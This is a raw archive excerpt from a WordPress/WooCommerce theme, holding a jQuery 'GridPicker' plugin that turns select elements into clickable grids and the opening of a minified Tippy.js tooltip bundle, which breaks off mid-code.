				PENCI.fixproductIconsize()
				PENCI.tippyContent()
			} )
		} )
	}
)( jQuery )
PK     N\mwK  K  (  inc/woocommerce/js/jquery-grid-picker.jsnu [        ;(function (root, factory) {
    // AMD.
    if (typeof define === "function" && define.amd)
        define(["jquery"], factory);

    // Node, CommonJS-like.
    else if (typeof exports === "object")
        factory(require("jquery"));

    // Browser globals.
    else
        factory(root.jQuery);
}(this, function ($) {
    // Strict mode.
    "use strict";

    // @todo
    //      - markup: datalist > option
    //      - markup: select > optgroup > option

    /**
     * Initialize GridPicker.
     *
     * @param  {HTMLSelectElement} element select element node
     * @param  {Object}            options see GridPicker.prototype._defaults
     * @return {Void}
     */
    var GridPicker = function (element, options) {
        if (!(this instanceof GridPicker))
            throw "GridPicker: GridPicker is a constructor.";
        if (!(element instanceof HTMLSelectElement))
            throw "GridPicker: element argument must be of type HTMLSelectElement.";

        this._element = element;
        this._options = options;

        this._init();
    }

    /**
     * GridPicker prototype.
     *
     * @type {Object}
     */
    GridPicker.prototype = {
        /**
         * Default options.
         *
         * @type {Object}
         */
        _defaults: {
            /**
             * Render method.
             *
             * If not defined (Null) the default render
             * method will be used. The first argument
             * in function is HTMLOptionElement, and the
             * result should be any HTMLElement.
             *
             * Example usage:
             *
             * $(selector).gridPicker({
             *     render: function(element) {
             *         return $("<a />")
             *             .attr("href", "#")
             *             .attr("title", label)
             *             .text(label)
             *             .get(0);
             *     }
             * }
             *
             * @type {Function|Null}
             */
            render: null,

            /**
             * Can item be selected.
             *
             * If not defined (Null) the default canSelect
             * method will be used. It can be True, False
             * or Function. The first argument in function
             * is HTMLOptionElement, and the result should
             * be True|False.
             *
             * Example usage:
             *
             * $(selector).gridPicker({
             *     canSelect: function(element) {
             *         return !$(element).is(":disabled");
             *     }
             * }
             *
             * @type {Function|Boolean|Null}
             */
            canSelect: null,

            /**
             * Can item be unselected.
             *
             * If not defined (Null) the default canUnselect
             * method will be used. It can be True, False
             * or Function. The first argument in function
             * is HTMLOptionElement, and the result should
             * be True|False.
             *
             * Example usage:
             *
             * $(selector).gridPicker({
             *     canUnselect: function(element) {
             *         return typeof this._$ui.element.attr("multiple") !== "undefined";
             *     }
             * }
             *
             * @type {Function|Boolean|Null}
             */
            canUnselect: null,
        },

        /**
         * Constructor.
         *
         * @return {Void}
         */
        _init: function () {
            // Already instanced.
            if ($(this._element).data("jquery-grid-picker"))
                return;

            // Init all.
            this._initElement();
            this._initWidget();
            this._initOptions();
            this._initUi();
            this._initObserver();

            // Render items.
            this.refresh();
        },

        /**
         * Initialize element.
         *
         * @return {Void}
         */
        _initElement: function () {
            this._element = $(this._element)
                .addClass("jquery-grid-picker")
                .off(".jquerygridpicker")
                .on("change.jquerygridpicker", this._handleElementChange.bind(this))
                .data("jquery-grid-picker", this)
                .get(0);
        },

        /**
         * Initialize widget.
         *
         * @return {Void}
         */
        _initWidget: function () {
            this._widget = $("<ul />")
                .addClass("jquery-grid-picker-widget")
                .on("click.jquerygridpicker", ".jquery-grid-picker-item", this._handleItemClick.bind(this))
                .insertAfter(this.element)
                .get(0);
        },

        /**
         * Initialize options.
         *
         * @return {Void}
         */
        _initOptions: function () {
            this._options = $.extend({}, this._defaults, this._options);

            // Delete invalid option keys.
            for (var key in this._options) {
                if (!this._defaults.hasOwnProperty(key))
                    delete this._options[key];
            }
        },

        /**
         * Initialize ui.
         *
         * @return {Void}
         */
        _initUi: function () {
            this._$ui = {
                element: $(this.element),
                widget: $(this.widget),
                items: $(null),
            };
        },

        /**
         * Initialize mutation observer.
         *
         * @return {Void}
         */
        _initObserver: function () {
            this._observer = null;
            if (typeof MutationObserver === "undefined")
                return;

            this._observer = new MutationObserver(this._handleMutation.bind(this));
            this._observer.observe(this.element, {
                attributes: true,
                childList: true,
                subtree: true,
                characterData: true,
            });
        },

        /**
         * Destructor.
         *
         * @return {Void}
         */
        destroy: function () {
            if (this._observer)
                this._observer.disconnect();

            this._$ui.element
                .off(".jquerygridpicker")
                .removeClass("jquery-grid-picker")
                .removeData("jquery-grid-picker");
            this._$ui.widget
                .remove();

            this._$ui = null;
            this._observer = null;
            this._options = null;
            this._widget = null;
            this._element = null;
        },

        /**
         * Element property getter.
         *
         * @return {HTMLSelectElement}
         */
        get element() {
            return this._element;
        },

        /**
         * Widget property getter.
         *
         * @return {HTMLElement}
         */
        get widget() {
            return this._widget;
        },

        /**
         * Get option.
         *
         * @param  {String} key
         * @return {Mixed}
         */
        getOption: function (key) {
            return this._options[key];
        },

        /**
         * Set option.
         *
         * @param  {String} key
         * @param  {Mixed}  value
         * @return {Void}
         */
        setOption: function (key, value) {
            if (this._defaults.hasOwnProperty(key))
                this._options[key] = value;
        },

        /**
         * Element value.
         *
         * @return {String}
         */
        value: function () {
            return this._$ui.element.val();
        },

        /**
         * Reset element value to null.
         *
         * @return {Void}
         */
        reset: function () {
            this._$ui.element.val(null);
        },

        /**
         * Refresh (render) option list.
         *
         * @return {Void}
         */
        refresh: function () {
            this._$ui.widget.empty();
            this._$ui.items = $(null);

            this._$ui.element
                .find("option")
                .each(function (index, element) {
                    this._syncItem(element);
                }.bind(this));

            this._handleElementChange();
        },

        /**
         * Sync select option and widget list item.
         *
         * @param  {HTMLOptionElement} element
         * @return {Void}
         */
        _syncItem: function (element) {
            // Clear old element widget item (if exists).
            var $element = $(element),
                attached = !!$element.closest(this.element).length,
                value = $element.val(),
                item = this._$ui.items.filter('[data-jquery-grid-picker-value="' + this._selectorEscape(value) + '"]').get(0);
            this._$ui.items = this._$ui.items.not(item);
            $(item).remove();

            // Element is detached, nothing else to do here.
            if (!attached)
                return;

            // Render item content from render option.
            var content = null,
                render = this.getOption("render");
            if (typeof render === "function")
                content = render.call(this, element);
            else
                content = this._renderItemContent(element);
            if (!content)
                return;

            var index = $element.index(),
                selected = $element.prop("selected"),
                hidden = $element.css("display") === "none",
                disabled = $element.is(":disabled");

            // Render new element widget item.
            item = this._renderItemWrapper(element);
            $(item)
                .addClass("jquery-grid-picker-item")
                .addClass("jquery-grid-picker-item-" + (selected ? "selected" : "temp"))
                .addClass("jquery-grid-picker-item-" + (hidden ? "hidden" : "temp"))
                .addClass("jquery-grid-picker-item-" + (disabled ? "disabled" : "temp"))
                .removeClass("jquery-grid-picker-item-temp")
                .attr("data-jquery-grid-picker-value", value)
                .removeAttr("data-jquery-grid-picker-item-temp");
            $(content)
                .addClass("jquery-grid-picker-item-content")
                .appendTo(item);

            // ...and append it to widget.
            if (!index)
                this._$ui.widget.prepend(item);
            else
                this._$ui.widget.find(".jquery-grid-picker-item:nth-child(" + index + ")").after(item);

            // Refresh ui.
            this._$ui.items = this._$ui.items
                .add(item);
        },

        /**
         * Render list item wrapper.
         *
         * @param  {HTMLOptionElement} element
         * @return {HTMLElement}
         */
        _renderItemWrapper: function (element) {
            return $("<li />").get(0);
        },

        /**
         * Render list item (default) content:
         * this is a render fallback if no render
         * option is specified.
         *
         * @param  {HTMLOptionElement} element
         * @return {HTMLElement}
         */
        _renderItemContent: function (element) {
            var $element = $(element),
                label = $element.attr("label") || $element.text();
            return $("<a />")
                .attr("href", "#")
                .attr("title", label)
                .attr("data-tippy-content", label)
                .attr("draggable", "false")
                .text(label)
                .get(0);
        },

        /**
         * Can select item.
         *
         * @param  {HTMLOptionElement} element
         * @return {Boolean}
         */
        _canSelect: function (element) {
            var option = this.getOption("canSelect");
            if (typeof option === "boolean")
                return option;
            else if (typeof option === "function")
                return !!option.call(this, element);

            return !$(element).is(":disabled");
        },

        /**
         * Can unselect item.
         *
         * @param  {HTMLOptionElement} element
         * @return {Boolean}
         */
        _canUnselect: function (element) {
            var option = this.getOption("canUnselect");
            if (typeof option === "boolean")
                return option;
            else if (typeof option === "function")
                return !!option.call(this, element);

            return this.element.hasAttribute("multiple");
        },

        /**
         * Escape string so we can use it as css selector.
         *
         * @param  {String} str
         * @return {String}
         */
        _selectorEscape: function (str) {
            return str.toString()
                .replace(/"/g, "\\\"");
        },

        /**
         * Mutation observer callback:
         * sync select option and widget list item.
         *
         * @param  {Array} e
         * @return {Void}
         */
        _handleMutation: function (e) {
            // Element list that needs sync. It would be easier
            // to use jQuery object here, but jQuery's list of
            // elements is sorted. We need to apply sync method
            // on elements as provided in MutationRecord list.
            var elements = [],
                addToElements = function (element) {
                    $(element)
                        .closest("option")
                        .each(function (index, value) {
                            if (elements.indexOf(value) === -1)
                                elements.push(value);
                        });
                };

            // Iterate mutation record list and find elements
            // that need sync.
            e.forEach(function (record) {
                if (record.type === "childList") {
                    addToElements(record.removedNodes);
                    addToElements(record.addedNodes);
                } else if ((record.type === "attributes" && record.target !== this.element) || (record.type === "characterData"))
                    addToElements(record.target);
            }.bind(this));

            // Sync mutated elements.
            elements.forEach(function (element) {
                this._syncItem(element);
            }.bind(this));
        },

        /**
         * Element change event handler.
         *
         * @param  {Event} e
         * @return {Void}
         */
        _handleElementChange: function (e) {
            var value = this.value(),
                filter = null;

            if (typeof value === "string")
                filter = '[data-jquery-grid-picker-value="' + this._selectorEscape(value) + '"]';
            else if (value instanceof Array)
                filter = value
                    .map(function (item) {
                        return '[data-jquery-grid-picker-value="' + this._selectorEscape(item) + '"]';
                    }.bind(this))
                    .join(",");

            this._$ui.items
                .removeClass("jquery-grid-picker-item-selected")
                .filter(filter)
                .addClass("jquery-grid-picker-item-selected");
        },

        /**
         * Item click event handler.
         *
         * @param  {Event} e
         * @return {Void}
         */
        _handleItemClick: function (e) {
            e.preventDefault();

            var target = e.currentTarget,
                value = $(target).attr("data-jquery-grid-picker-value") || "",
                $option = this._$ui.element.find('option[value="' + this._selectorEscape(value) + '"]'),
                option = $option.get(0),
                isSelected = $option.is(":selected");

            // Unselect selected.
            if (isSelected && this._canUnselect(option)) {
                // Non multiple select elements can not have all the
                // options unselected (it will default to first option),
                // so we will reset it's value.
                var length = this._$ui.element.find("option:selected").length;
                if (length - 1 === 0)
                    this.reset();
                else
                    $option.prop("selected", false);
            }

            // Select unselected.
            else if (!isSelected && this._canSelect(option))
                $option.prop("selected", true);

            // Select/unselect fail, return.
            else
                return;

            // Trigger change and let change event handler
            // do the rest.
            this._$ui.element
                .trigger("change");
        },
    };

    // Re-assign constuctor.
    GridPicker.prototype.constructor = GridPicker;

    /**
     * jQuery gridPicker plugin:
     * display HTMLSelectElement as grid with clickable
     * (select/unselect) items.
     *
     * Instance new GridPicker on element(s)
     * >> $(selector).gridPicker(options);
     *
     * ...execute GridPicker method
     * >> $(selector)
     *        .gridPicker("setOption", "canUnselect", true)
     *        .gridPicker("reset");
     *
     * ...or access GridPicker property
     * >> var widget = $(selector).gridPicker("widget");
     *
     * @param  {Mixed} options
     * @return {Mixed}
     */
    $.fn.gridPicker = function (options) {
        var classObject = GridPicker,
            className = "GridPicker",
            store = "jquery-grid-picker",
            args = Array.prototype.slice.call(arguments, 1),
            $this = $(this);

        // Iterate all
        $this.each(function () {
            // Get instance (or create new one).
            var instance = $(this).data(store);
            if (!instance)
                instance = new classObject(this, typeof options === "object" ? options : {});

            // Access properties.
            if (typeof options === "string") {
                var exists = options in instance,
                    isPrivate = options.substr(0, 1) === "_",
                    type = typeof instance[options];

                // Property is function, execute it.
                if (exists && !isPrivate && type === "function" && instance[options] !== Object.prototype[options] && options !== "constructor") {
                    var result = instance[options].apply(instance, args);

                    // Function returned result (non undefined), store
                    // result, exit loop.
                    if (typeof result !== "undefined") {
                        $this = result;
                        return false;
                    }
                }

                // Property as getter (get, store result, exit loop).
                else if (exists && !isPrivate && type !== "function" && !args.length) {
                    $this = instance[options];
                    return false;
                }

                // Property as setter (set, continue).
                else if (exists && !isPrivate && type !== "function") {
                    instance[options] = args[0];
                }

                // Invalid option argument.
                else {
                    throw className + ": " + options + " is not a valid " + className + " property.";
                }
            }
        });

        // ...finally.
        return $this;
    };
}));
PK     N\*dxb  xb  *  inc/woocommerce/js/tippy-bundle.umd.min.jsnu [        !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e(require("@popperjs/core")):"function"==typeof define&&define.amd?define(["@popperjs/core"],e):(t=t||self).tippy=e(t.Popper)}(this,(function(t){"use strict";var e="undefined"!=typeof window&&"undefined"!=typeof document,n=e?navigator.userAgent:"",r=/MSIE |Trident\//.test(n),i={passive:!0,capture:!0};function o(t,e,n){if(Array.isArray(t)){var r=t[e];return null==r?Array.isArray(n)?n[e]:n:r}return t}function a(t,e){var n={}.toString.call(t);return 0===n.indexOf("[object")&&n.indexOf(e+"]")>-1}function s(t,e){return"function"==typeof t?t.apply(void 0,e):t}function p(t,e){return 0===e?t:function(r){clearTimeout(n),n=setTimeout((function(){t(r)}),e)};var n}function u(t,e){var n=Object.assign({},t);return e.forEach((function(t){delete n[t]})),n}function c(t){return[].concat(t)}function f(t,e){-1===t.indexOf(e)&&t.push(e)}function l(t){return t.split("-")[0]}function d(t){return[].slice.call(t)}function v(){return document.createElement("div")}function m(t){return["Element","Fragment"].some((function(e){return a(t,e)}))}function g(t){return a(t,"MouseEvent")}function h(t){return!(!t||!t._tippy||t._tippy.reference!==t)}function b(t){return m(t)?[t]:function(t){return a(t,"NodeList")}(t)?d(t):Array.isArray(t)?t:d(document.querySelectorAll(t))}function y(t,e){t.forEach((function(t){t&&(t.style.transitionDuration=e+"ms")}))}function w(t,e){t.forEach((function(t){t&&t.setAttribute("data-state",e)}))}function x(t){var e,n=c(t)[0];return(null==n||null==(e=n.ownerDocument)?void 0:e.body)?n.ownerDocument:document}function E(t,e,n){var r=e+"EventListener";["transitionend","webkitTransitionEnd"].forEach((function(e){t[r](e,n)}))}var O={isTouch:!1},C=0;function T(){O.isTouch||(O.isTouch=!0,window.performance&&document.addEventListener("mousemove",A))}function A(){var t=performance.now();t-C<20&&(O.isTouch=!1,document.removeEventListener("mousemove",A)),C=t}function L(){var t=document.activeElement;if(h(t)){var e=t._tippy;t.blur&&!e.state.isVisible&&t.blur()}}var D=Object.assign({appendTo:function(){return document.body},aria:{content:"auto",expanded:"auto"},delay:0,duration:[300,250],getReferenceClientRect:null,hideOnClick:!0,ignoreAttributes:!1,interactive:!1,interactiveBorder:2,interactiveDebounce:0,moveTransition:"",offset:[0,10],onAfterUpdate:function(){},onBeforeUpdate:function(){},onCreate:function(){},onDestroy:function(){},onHidden:function(){},onHide:function(){},onMount:function(){},onShow:function(){},onShown:function(){},onTrigger:function(){},onUntrigger:function(){},onClickOutside:function(){},placement:"top",plugins:[],popperOptions:{},render:null,showOnCreate:!1,touch:!0,trigger:"mouseenter focus",triggerTarget:null},{animateFill:!1,followCursor:!1,inlinePositioning:!1,sticky:!1},{},{allowHTML:!1,animation:"fade",arrow:!0,content:"",inertia:!1,maxWidth:350,role:"tooltip",theme:"",zIndex:9999}),k=Object.keys(D);function R(t){var e=(t.plugins||[]).reduce((function(e,n){var r=n.name,i=n.defaultValue;return r&&(e[r]=void 0!==t[r]?t[r]:i),e}),{});return Object.assign({},t,{},e)}function j(t,e){var n=Object.assign({},e,{content:s(e.content,[t])},e.ignoreAttributes?{}:function(t,e){return(e?Object.keys(R(Object.assign({},D,{plugins:e}))):k).reduce((function(e,n){var r=(t.getAttribute("data-tippy-"+n)||"").trim();if(!r)return e;if("content"===n)e[n]=r;else try{e[n]=JSON.parse(r)}catch(t){e[n]=r}return e}),{})}(t,e.plugins));return n.aria=Object.assign({},D.aria,{},n.aria),n.aria={expanded:"auto"===n.aria.expanded?e.interactive:n.aria.expanded,content:"auto"===n.aria.content?e.interactive?null:"describedby":n.aria.content},n}function M(t,e){t.innerHTML=e}function P(t){var e=v();return!0===t?e.className="tippy-arrow":(e.className="tippy-svg-arrow",m(t)?e.appendChild(t):M(e,t)),e}function V(t,e){m(e.content)?(M(t,""),t.appendChild(e.content)):"function"!=typeof e.content&&(e.allowHTML?M(t,e.content):t.textContent=e.content)}function I(t){var e=t.firstElementChild,n=d(e.children);return{box:e,content:n.find((function(t){return t.classList.contains("tippy-content")})),arrow:n.find((function(t){return t.classList.contains("tippy-arrow")||t.classList.contains("tippy-svg-arrow")})),backdrop:n.find((function(t){return t.classList.contains("tippy-backdrop")}))}}function S(t){var e=v(),n=v();n.className="tippy-box",n.setAttribute("data-state","hidden"),n.setAttribute("tabindex","-1");var r=v();function i(n,r){var i=I(e),o=i.box,a=i.content,s=i.arrow;r.theme?o.setAttribute("data-theme",r.theme):o.removeAttribute("data-theme"),"string"==typeof r.animation?o.setAttribute("data-animation",r.animation):o.removeAttribute("data-animation"),r.inertia?o.setAttribute("data-inertia",""):o.removeAttribute("data-inertia"),o.style.maxWidth="number"==typeof r.maxWidth?r.maxWidth+"px":r.maxWidth,r.role?o.setAttribute("role",r.role):o.removeAttribute("role"),n.content===r.content&&n.allowHTML===r.allowHTML||V(a,t.props),r.arrow?s?n.arrow!==r.arrow&&(o.removeChild(s),o.appendChild(P(r.arrow))):o.appendChild(P(r.arrow)):s&&o.removeChild(s)}return r.className="tippy-content",r.setAttribute("data-state","hidden"),V(r,t.props),e.appendChild(n),n.appendChild(r),i(t.props,t.props),{popper:e,onUpdate:i}}S.$$tippy=!0;var B=1,H=[],N=[];function U(e,n){var a,u,m,h,b,C,T,A,L,k=j(e,Object.assign({},D,{},R((a=n,Object.keys(a).reduce((function(t,e){return void 0!==a[e]&&(t[e]=a[e]),t}),{}))))),M=!1,P=!1,V=!1,S=!1,U=[],_=p(bt,k.interactiveDebounce),z=B++,F=(L=k.plugins).filter((function(t,e){return L.indexOf(t)===e})),W={id:z,reference:e,popper:v(),popperInstance:null,props:k,state:{isEnabled:!0,isVisible:!1,isDestroyed:!1,isMounted:!1,isShown:!1},plugins:F,clearDelayTimeouts:function(){clearTimeout(u),clearTimeout(m),cancelAnimationFrame(h)},setProps:function(t){if(W.state.isDestroyed)return;it("onBeforeUpdate",[W,t]),gt();var n=W.props,r=j(e,Object.assign({},W.props,{},t,{ignoreAttributes:!0}));W.props=r,mt(),n.interactiveDebounce!==r.interactiveDebounce&&(st(),_=p(bt,r.interactiveDebounce));n.triggerTarget&&!r.triggerTarget?c(n.triggerTarget).forEach((function(t){t.removeAttribute("aria-expanded")})):r.triggerTarget&&e.removeAttribute("aria-expanded");at(),rt(),q&&q(n,r);W.popperInstance&&(Et(),Ct().forEach((function(t){requestAnimationFrame(t._tippy.popperInstance.forceUpdate)})));it("onAfterUpdate",[W,t])},setContent:function(t){W.setProps({content:t})},show:function(){var t=W.state.isVisible,e=W.state.isDestroyed,n=!W.state.isEnabled,r=O.isTouch&&!W.props.touch,i=o(W.props.duration,0,D.duration);if(t||e||n||r)return;if(Z().hasAttribute("disabled"))return;if(it("onShow",[W],!1),!1===W.props.onShow(W))return;W.state.isVisible=!0,Q()&&(Y.style.visibility="visible");rt(),ft(),W.state.isMounted||(Y.style.transition="none");if(Q()){var a=et(),p=a.box,u=a.content;y([p,u],0)}T=function(){var t;if(W.state.isVisible&&!S){if(S=!0,Y.offsetHeight,Y.style.transition=W.props.moveTransition,Q()&&W.props.animation){var e=et(),n=e.box,r=e.content;y([n,r],i),w([n,r],"visible")}ot(),at(),f(N,W),null==(t=W.popperInstance)||t.forceUpdate(),W.state.isMounted=!0,it("onMount",[W]),W.props.animation&&Q()&&function(t,e){dt(t,e)}(i,(function(){W.state.isShown=!0,it("onShown",[W])}))}},function(){var t,e=W.props.appendTo,n=Z();t=W.props.interactive&&e===D.appendTo||"parent"===e?n.parentNode:s(e,[n]);t.contains(Y)||t.appendChild(Y);Et()}()},hide:function(){var t=!W.state.isVisible,e=W.state.isDestroyed,n=!W.state.isEnabled,r=o(W.props.duration,1,D.duration);if(t||e||n)return;if(it("onHide",[W],!1),!1===W.props.onHide(W))return;W.state.isVisible=!1,W.state.isShown=!1,S=!1,M=!1,Q()&&(Y.style.visibility="hidden");if(st(),lt(),rt(),Q()){var i=et(),a=i.box,s=i.content;W.props.animation&&(y([a,s],r),w([a,s],"hidden"))}ot(),at(),W.props.animation?Q()&&function(t,e){dt(t,(function(){!W.state.isVisible&&Y.parentNode&&Y.parentNode.contains(Y)&&e()}))}(r,W.unmount):W.unmount()},hideWithInteractivity:function(t){tt().addEventListener("mousemove",_),f(H,_),_(t)},enable:function(){W.state.isEnabled=!0},disable:function(){W.hide(),W.state.isEnabled=!1},unmount:function(){W.state.isVisible&&W.hide();if(!W.state.isMounted)return;Ot(),Ct().forEach((function(t){t._tippy.unmount()})),Y.parentNode&&Y.parentNode.removeChild(Y);N=N.filter((function(t){return t!==W})),W.state.isMounted=!1,it("onHidden",[W])},destroy:function(){if(W.state.isDestroyed)return;W.clearDelayTimeouts(),W.unmount(),gt(),delete e._tippy,W.state.isDestroyed=!0,it("onDestroy",[W])}};if(!k.render)return W;var X=k.render(W),Y=X.popper,q=X.onUpdate;Y.setAttribute("data-tippy-root",""),Y.id="tippy-"+W.id,W.popper=Y,e._tippy=W,Y._tippy=W;var $=F.map((function(t){return t.fn(W)})),J=e.hasAttribute("aria-expanded");return mt(),at(),rt(),it("onCreate",[W]),k.showOnCreate&&Tt(),Y.addEventListener("mouseenter",(function(){W.props.interactive&&W.state.isVisible&&W.clearDelayTimeouts()})),Y.addEventListener("mouseleave",(function(t){W.props.interactive&&W.props.trigger.indexOf("mouseenter")>=0&&(tt().addEventListener("mousemove",_),_(t))})),W;function G(){var t=W.props.touch;return Array.isArray(t)?t:[t,0]}function K(){return"hold"===G()[0]}function Q(){var t;return!!(null==(t=W.props.render)?void 0:t.$$tippy)}function Z(){return A||e}function tt(){var t=Z().parentNode;return t?x(t):document}function et(){return I(Y)}function nt(t){return W.state.isMounted&&!W.state.isVisible||O.isTouch||b&&"focus"===b.type?0:o(W.props.delay,t?0:1,D.delay)}function rt(){Y.style.pointerEvents=W.props.interactive&&W.state.isVisible?"":"none",Y.style.zIndex=""+W.props.zIndex}function it(t,e,n){var r;(void 0===n&&(n=!0),$.forEach((function(n){n[t]&&n[t].apply(void 0,e)})),n)&&(r=W.props)[t].apply(r,e)}function ot(){var t=W.props.aria;if(t.content){var n="aria-"+t.content,r=Y.id;c(W.props.triggerTarget||e).forEach((function(t){var e=t.getAttribute(n);if(W.state.isVisible)t.setAttribute(n,e?e+" "+r:r);else{var i=e&&e.replace(r,"").trim();i?t.setAttribute(n,i):t.removeAttribute(n)}}))}}function at(){!J&&W.props.aria.expanded&&c(W.props.triggerTarget||e).forEach((function(t){W.props.interactive?t.setAttribute("aria-expanded",W.state.isVisible&&t===Z()?"true":"false"):t.removeAttribute("aria-expanded")}))}function st(){tt().removeEventListener("mousemove",_),H=H.filter((function(t){return t!==_}))}function pt(t){if(!(O.isTouch&&(V||"mousedown"===t.type)||W.props.interactive&&Y.contains(t.target))){if(Z().contains(t.target)){if(O.isTouch)return;if(W.state.isVisible&&W.props.trigger.indexOf("click")>=0)return}else it("onClickOutside",[W,t]);!0===W.props.hideOnClick&&(W.clearDelayTimeouts(),W.hide(),P=!0,setTimeout((function(){P=!1})),W.state.isMounted||lt())}}function ut(){V=!0}function ct(){V=!1}function ft(){var t=tt();t.addEventListener("mousedown",pt,!0),t.addEventListener("touchend",pt,i),t.addEventListener("touchstart",ct,i),t.addEventListener("touchmove",ut,i)}function lt(){var t=tt();t.removeEventListener("mousedown",pt,!0),t.removeEventListener("touchend",pt,i),t.removeEventListener("touchstart",ct,i),t.removeEventListener("touchmove",ut,i)}function dt(t,e){var n=et().box;function r(t){t.target===n&&(E(n,"remove",r),e())}if(0===t)return e();E(n,"remove",C),E(n,"add",r),C=r}function vt(t,n,r){void 0===r&&(r=!1),c(W.props.triggerTarget||e).forEach((function(e){e.addEventListener(t,n,r),U.push({node:e,eventType:t,handler:n,options:r})}))}function mt(){var t;K()&&(vt("touchstart",ht,{passive:!0}),vt("touchend",yt,{passive:!0})),(t=W.props.trigger,t.split(/\s+/).filter(Boolean)).forEach((function(t){if("manual"!==t)switch(vt(t,ht),t){case"mouseenter":vt("mouseleave",yt);break;case"focus":vt(r?"focusout":"blur",wt);break;case"focusin":vt("focusout",wt)}}))}function gt(){U.forEach((function(t){var e=t.node,n=t.eventType,r=t.handler,i=t.options;e.removeEventListener(n,r,i)})),U=[]}function ht(t){var e,n=!1;if(W.state.isEnabled&&!xt(t)&&!P){var r="focus"===(null==(e=b)?void 0:e.type);b=t,A=t.currentTarget,at(),!W.state.isVisible&&g(t)&&H.forEach((function(e){return e(t)})),"click"===t.type&&(W.props.trigger.indexOf("mouseenter")<0||M)&&!1!==W.props.hideOnClick&&W.state.isVisible?n=!0:Tt(t),"click"===t.type&&(M=!n),n&&!r&&At(t)}}function bt(t){var e=t.target,n=Z().contains(e)||Y.contains(e);"mousemove"===t.type&&n||function(t,e){var n=e.clientX,r=e.clientY;return t.every((function(t){var e=t.popperRect,i=t.popperState,o=t.props.interactiveBorder,a=l(i.placement),s=i.modifiersData.offset;if(!s)return!0;var p="bottom"===a?s.top.y:0,u="top"===a?s.bottom.y:0,c="right"===a?s.left.x:0,f="left"===a?s.right.x:0,d=e.top-r+p>o,v=r-e.bottom-u>o,m=e.left-n+c>o,g=n-e.right-f>o;return d||v||m||g}))}(Ct().concat(Y).map((function(t){var e,n=null==(e=t._tippy.popperInstance)?void 0:e.state;return n?{popperRect:t.getBoundingClientRect(),popperState:n,props:k}:null})).filter(Boolean),t)&&(st(),At(t))}function yt(t){xt(t)||W.props.trigger.indexOf("click")>=0&&M||(W.props.interactive?W.hideWithInteractivity(t):At(t))}function wt(t){W.props.trigger.indexOf("focusin")<0&&t.target!==Z()||W.props.interactive&&t.relatedTarget&&Y.contains(t.relatedTarget)||At(t)}function xt(t){return!!O.isTouch&&K()!==t.type.indexOf("touch")>=0}function Et(){Ot();var n=W.props,r=n.popperOptions,i=n.placement,o=n.offset,a=n.getReferenceClientRect,s=n.moveTransition,p=Q()?I(Y).arrow:null,u=a?{getBoundingClientRect:a,contextElement:a.contextElement||Z()}:e,c=[{name:"offset",options:{offset:o}},{name:"preventOverflow",options:{padding:{top:2,bottom:2,left:5,right:5}}},{name:"flip",options:{padding:5}},{name:"computeStyles",options:{adaptive:!s}},{name:"$$tippy",enabled:!0,phase:"beforeWrite",requires:["computeStyles"],fn:function(t){var e=t.state;if(Q()){var n=et().box;["placement","reference-hidden","escaped"].forEach((function(t){"placement"===t?n.setAttribute("data-placement",e.placement):e.attributes.popper["data-popper-"+t]?n.setAttribute("data-"+t,""):n.removeAttribute("data-"+t)})),e.attributes.popper={}}}}];Q()&&p&&c.push({name:"arrow",options:{element:p,padding:3}}),c.push.apply(c,(null==r?void 0:r.modifiers)||[]),W.popperInstance=t.createPopper(u,Y,Object.assign({},r,{placement:i,onFirstUpdate:T,modifiers:c}))}function Ot(){W.popperInstance&&(W.popperInstance.destroy(),W.popperInstance=null)}function Ct(){return d(Y.querySelectorAll("[data-tippy-root]"))}function Tt(t){W.clearDelayTimeouts(),t&&it("onTrigger",[W,t]),ft();var e=nt(!0),n=G(),r=n[0],i=n[1];O.isTouch&&"hold"===r&&i&&(e=i),e?u=setTimeout((function(){W.show()}),e):W.show()}function At(t){if(W.clearDelayTimeouts(),it("onUntrigger",[W,t]),W.state.isVisible){if(!(W.props.trigger.indexOf("mouseenter")>=0&&W.props.trigger.indexOf("click")>=0&&["mouseleave","mousemove"].indexOf(t.type)>=0&&M)){var e=nt(!1);e?m=setTimeout((function(){W.state.isVisible&&W.hide()}),e):h=requestAnimationFrame((function(){W.hide()}))}}else lt()}}function _(t,e){void 0===e&&(e={});var n=D.plugins.concat(e.plugins||[]);document.addEventListener("touchstart",T,i),window.addEventListener("blur",L);var r=Object.assign({},e,{plugins:n}),o=b(t).reduce((function(t,e){var n=e&&U(e,r);return n&&t.push(n),t}),[]);return m(t)?o[0]:o}_.defaultProps=D,_.setDefaultProps=function(t){Object.keys(t).forEach((function(e){D[e]=t[e]}))},_.currentInput=O;var z=Object.assign({},t.applyStyles,{effect:function(t){var e=t.state,n={popper:{position:e.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};Object.assign(e.elements.popper.style,n.popper),e.styles=n,e.elements.arrow&&Object.assign(e.elements.arrow.style,n.arrow)}}),F={mouseover:"mouseenter",focusin:"focus",click:"click"};var W={name:"animateFill",defaultValue:!1,fn:function(t){var e;if(!(null==(e=t.props.render)?void 0:e.$$tippy))return{};var n=I(t.popper),r=n.box,i=n.content,o=t.props.animateFill?function(){var t=v();return t.className="tippy-backdrop",w([t],"hidden"),t}():null;return{onCreate:function(){o&&(r.insertBefore(o,r.firstElementChild),r.setAttribute("data-animatefill",""),r.style.overflow="hidden",t.setProps({arrow:!1,animation:"shift-away"}))},onMount:function(){if(o){var t=r.style.transitionDuration,e=Number(t.replace("ms",""));i.style.transitionDelay=Math.round(e/10)+"ms",o.style.transitionDuration=t,w([o],"visible")}},onShow:function(){o&&(o.style.transitionDuration="0ms")},onHide:function(){o&&w([o],"hidden")}}}};var X={clientX:0,clientY:0},Y=[];function q(t){var e=t.clientX,n=t.clientY;X={clientX:e,clientY:n}}var $={name:"followCursor",defaultValue:!1,fn:function(t){var e=t.reference,n=x(t.props.triggerTarget||e),r=!1,i=!1,o=!0,a=t.props;function s(){return"initial"===t.props.followCursor&&t.state.isVisible}function p(){n.addEventListener("mousemove",f)}function u(){n.removeEventListener("mousemove",f)}function c(){r=!0,t.setProps({getReferenceClientRect:null}),r=!1}function f(n){var r=!n.target||e.contains(n.target),i=t.props.followCursor,o=n.clientX,a=n.clientY,s=e.getBoundingClientRect(),p=o-s.left,u=a-s.top;!r&&t.props.interactive||t.setProps({getReferenceClientRect:function(){var t=e.getBoundingClientRect(),n=o,r=a;"initial"===i&&(n=t.left+p,r=t.top+u);var 